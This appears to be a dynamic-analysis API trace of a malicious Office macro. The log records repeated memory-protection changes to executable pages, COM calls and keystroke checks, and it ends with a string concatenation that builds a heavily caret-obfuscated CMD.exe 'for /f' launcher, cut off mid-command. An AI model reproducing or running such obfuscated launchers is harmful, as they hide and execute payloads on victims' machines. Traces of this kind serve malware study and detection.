GetCurrentProcess () returned 0xffffffffffffffff [0095.134] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f91, dwSize=0x8) returned 1 [0095.134] GetCurrentProcess () returned 0xffffffffffffffff [0095.134] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f90, dwSize=0x8) returned 1 [0095.134] GetCurrentProcess () returned 0xffffffffffffffff [0095.134] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687fa0, dwSize=0x2) returned 1 [0095.134] GetCurrentProcess () returned 0xffffffffffffffff [0095.134] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687ff4, dwSize=0x4d) returned 1 [0095.134] VirtualProtect (in: lpAddress=0xb687ff4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.134] GetCurrentProcess () returned 0xffffffffffffffff [0095.134] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688079, dwSize=0x8) returned 1 [0095.134] GetCurrentProcess () returned 0xffffffffffffffff [0095.134] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688078, dwSize=0x8) returned 1 [0095.134] GetCurrentProcess () returned 0xffffffffffffffff [0095.134] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688088, dwSize=0x2) returned 1 [0095.134] GetCurrentProcess () returned 0xffffffffffffffff [0095.134] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687cbc, dwSize=0x4d) returned 1 [0095.134] VirtualProtect (in: lpAddress=0xb687cbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.134] GetCurrentProcess () returned 0xffffffffffffffff [0095.134] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d41, dwSize=0x8) returned 1 [0095.134] GetCurrentProcess () returned 0xffffffffffffffff [0095.134] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d40, dwSize=0x8) returned 1 [0095.134] GetCurrentProcess () returned 0xffffffffffffffff [0095.134] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d50, dwSize=0x2) returned 1 [0095.134] GetCurrentProcess () returned 0xffffffffffffffff [0095.134] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687da4, dwSize=0x4d) returned 1 [0095.134] VirtualProtect (in: lpAddress=0xb687da4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.134] GetCurrentProcess () returned 0xffffffffffffffff [0095.134] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e29, dwSize=0x8) returned 1 [0095.134] GetCurrentProcess () returned 0xffffffffffffffff [0095.134] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e28, dwSize=0x8) returned 1 [0095.134] GetCurrentProcess () returned 0xffffffffffffffff [0095.134] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e38, dwSize=0x2) returned 1 [0095.134] GetCurrentProcess () returned 0xffffffffffffffff [0095.135] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688cec, dwSize=0x4d) returned 1 [0095.135] VirtualProtect (in: lpAddress=0xb688cec, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.135] GetCurrentProcess () returned 0xffffffffffffffff [0095.135] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d71, dwSize=0x8) returned 1 [0095.135] GetCurrentProcess () returned 0xffffffffffffffff [0095.135] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d70, dwSize=0x8) returned 1 [0095.135] GetCurrentProcess () returned 0xffffffffffffffff [0095.135] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d80, dwSize=0x2) returned 1 [0095.135] GetCurrentProcess () returned 0xffffffffffffffff [0095.135] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688dd4, dwSize=0x4d) returned 1 [0095.135] VirtualProtect (in: lpAddress=0xb688dd4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.135] GetCurrentProcess () returned 0xffffffffffffffff [0095.135] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e59, dwSize=0x8) returned 1 [0095.135] GetCurrentProcess () returned 0xffffffffffffffff [0095.135] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e58, dwSize=0x8) returned 1 [0095.135] GetCurrentProcess () returned 0xffffffffffffffff [0095.135] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e68, dwSize=0x2) returned 1 [0095.135] GetCurrentProcess () returned 0xffffffffffffffff [0095.135] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68815c, dwSize=0x4d) returned 1 [0095.135] VirtualProtect (in: lpAddress=0xb68815c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.135] GetCurrentProcess () returned 0xffffffffffffffff [0095.135] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e1, dwSize=0x8) returned 1 [0095.135] GetCurrentProcess () returned 0xffffffffffffffff [0095.135] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e0, dwSize=0x8) returned 1 [0095.135] GetCurrentProcess () returned 0xffffffffffffffff [0095.135] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881f0, dwSize=0x2) returned 1 [0095.142] GetCurrentProcess () returned 0xffffffffffffffff [0095.142] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688244, dwSize=0x4d) returned 1 [0095.142] VirtualProtect (in: lpAddress=0xb688244, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.142] IUnknown:AddRef (This=0xb901e68) returned 0x3 [0095.142] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.142] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.142] IUnknown:Release (This=0xb901e68) returned 0x2 [0095.142] IUnknown:AddRef (This=0xb901ec0) returned 0x6 [0095.142] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.142] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.142] IUnknown:Release (This=0xb901ec0) returned 0x5 [0095.142] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.142] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.142] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.142] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.142] IUnknown:AddRef (This=0xb9f7128) returned 0x3 [0095.142] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.142] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.142] IUnknown:Release (This=0xb9f7128) returned 0x2 [0095.143] GetAsyncKeyState (vKey=27) returned 0 [0095.143] VarAdd (in: pvarLeft=0xb8fba70, pvarRight=0xb8fba58, pvarResult=0xb8fba40 | out: pvarResult=0xb8fba40) returned 0x0 [0095.144] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbdb9dd0 [0095.144] IMalloc:Alloc (This=0x7feffc15380, cb=0x7e8) returned 0xba70d90 [0095.144] IMalloc:Realloc (This=0x7feffc15380, pv=0xbdb9dd0, cb=0x90) returned 0xbdb9dd0 [0095.144] IMalloc:Free (This=0x7feffc15380, pv=0xbe543f0) [0095.144] GetCurrentProcess () returned 0xffffffffffffffff [0095.144] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e1, dwSize=0x8) returned 1 [0095.144] GetCurrentProcess () returned 0xffffffffffffffff [0095.144] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e0, dwSize=0x8) returned 1 [0095.144] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d809, dwSize=0x8) returned 1 [0095.144] GetCurrentProcess () returned 0xffffffffffffffff [0095.144] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d808, dwSize=0x8) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffffffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d818, dwSize=0x2) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffffffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d86c, dwSize=0x45) returned 1 [0095.145] VirtualProtect (in: lpAddress=0x4d7d86c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffffffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688841, dwSize=0x8) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffffffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688840, dwSize=0x8) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffffffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688850, dwSize=0x2) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffffffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6888a4, dwSize=0x45) returned 1 [0095.145] VirtualProtect (in: lpAddress=0xb6888a4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffffffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68892c, dwSize=0x45) returned 1 [0095.145] VirtualProtect (in: lpAddress=0xb68892c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffffffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a9, dwSize=0x8) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffffffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a8, dwSize=0x8) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffffffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889b8, dwSize=0x2) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffffffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687a6c, dwSize=0x4d) returned 1 [0095.145] VirtualProtect (in: lpAddress=0xb687a6c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffffffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af1, dwSize=0x8) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffffffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af0, dwSize=0x8) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffffffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b00, dwSize=0x2) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffffffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b54, dwSize=0x45) returned 1 [0095.146] VirtualProtect (in: lpAddress=0xb687b54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffffffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd1, dwSize=0x8) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffffffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd0, dwSize=0x8) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffffffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687be0, dwSize=0x2) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffffffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f0c, dwSize=0x4d) returned 1 [0095.146] VirtualProtect (in: lpAddress=0xb687f0c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffffffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f91, dwSize=0x8) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffffffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f90, dwSize=0x8) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffffffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687fa0, dwSize=0x2) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffffffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687ff4, dwSize=0x4d) returned 1 [0095.146] VirtualProtect (in: lpAddress=0xb687ff4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffffffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688079, dwSize=0x8) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffffffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688078, dwSize=0x8) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffffffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688088, dwSize=0x2) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffffffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687cbc, dwSize=0x4d) returned 1 [0095.147] VirtualProtect (in: lpAddress=0xb687cbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffffffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d41, dwSize=0x8) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffffffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d40, dwSize=0x8) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffffffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d50, dwSize=0x2) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffffffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687da4, dwSize=0x4d) returned 1 [0095.147] VirtualProtect (in: lpAddress=0xb687da4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffffffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e29, dwSize=0x8) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffffffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e28, dwSize=0x8) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffffffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e38, dwSize=0x2) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffffffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688cec, dwSize=0x4d) returned 1 [0095.147] VirtualProtect (in: lpAddress=0xb688cec, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffffffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d71, dwSize=0x8) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffffffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d70, dwSize=0x8) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffffffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d80, dwSize=0x2) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffffffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688dd4, dwSize=0x4d) returned 1 [0095.147] VirtualProtect (in: lpAddress=0xb688dd4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.148] GetCurrentProcess () returned 0xffffffffffffffff [0095.148] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e59, dwSize=0x8) returned 1 [0095.148] GetCurrentProcess () returned 0xffffffffffffffff [0095.148] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e58, dwSize=0x8) returned 1 [0095.148] GetCurrentProcess () returned 0xffffffffffffffff [0095.148] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e68, dwSize=0x2) returned 1 [0095.148] GetCurrentProcess () returned 0xffffffffffffffff [0095.148] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68815c, dwSize=0x4d) returned 1 [0095.148] VirtualProtect (in: lpAddress=0xb68815c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.148] GetCurrentProcess () returned 0xffffffffffffffff [0095.148] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e1, dwSize=0x8) returned 1 [0095.148] GetCurrentProcess () returned 0xffffffffffffffff [0095.148] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e0, dwSize=0x8) returned 1 [0095.148] GetCurrentProcess () returned 0xffffffffffffffff [0095.148] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881f0, dwSize=0x2) returned 1 [0095.148] GetCurrentProcess () returned 0xffffffffffffffff [0095.148] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688244, dwSize=0x4d) returned 1 [0095.148] VirtualProtect (in: lpAddress=0xb688244, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.148] IUnknown:AddRef (This=0xb901e68) returned 0x3 [0095.148] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d468 | out: ppvObject=0x23d468*=0x0) returned 0x80004002 [0095.148] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d460 | out: ppvObject=0x23d460*=0x0) returned 0x80004002 [0095.148] IUnknown:Release (This=0xb901e68) returned 0x2 [0095.148] IUnknown:AddRef (This=0xb901ec0) returned 0x6 [0095.148] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d468 | out: ppvObject=0x23d468*=0x0) returned 0x80004002 [0095.148] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d460 | out: ppvObject=0x23d460*=0x0) returned 0x80004002 [0095.148] IUnknown:Release (This=0xb901ec0) returned 0x5 [0095.148] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.148] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d468 | out: ppvObject=0x23d468*=0x0) returned 0x80004002 [0095.148] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d460 | out: ppvObject=0x23d460*=0x0) returned 0x80004002 [0095.148] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.148] IUnknown:AddRef (This=0xb9f7128) returned 0x3 [0095.149] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d468 | out: ppvObject=0x23d468*=0x0) returned 0x80004002 [0095.149] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d460 | out: ppvObject=0x23d460*=0x0) returned 0x80004002 [0095.149] IUnknown:Release (This=0xb9f7128) returned 0x2 [0095.149] GetAsyncKeyState (vKey=27) returned 0 [0095.149] VarAdd (in: pvarLeft=0xb8fbc18, pvarRight=0xb8fbc00, pvarResult=0xb8fbbe8 | out: pvarResult=0xb8fbbe8) returned 0x0 [0095.150] VarAdd (in: pvarLeft=0xb8fbc48, pvarRight=0xb8fbc30, pvarResult=0xb8fbbd0 | out: pvarResult=0xb8fbbd0) returned 0x0 [0095.150] VarBstrCat (in: bstrLeft="CMD.Exe /c ^F^o^r ; /^f ;; \" tokens= +2 delims=FeH\" , %^1,; iN , ( , ', , ^^f^^t^^Yp^^e ;^|;^^f^^IN^^d , ;, \"SHCm\" , , ; ' ; , ) , , ,^d^O ,%^1, ; ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ , cw8f/^r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ 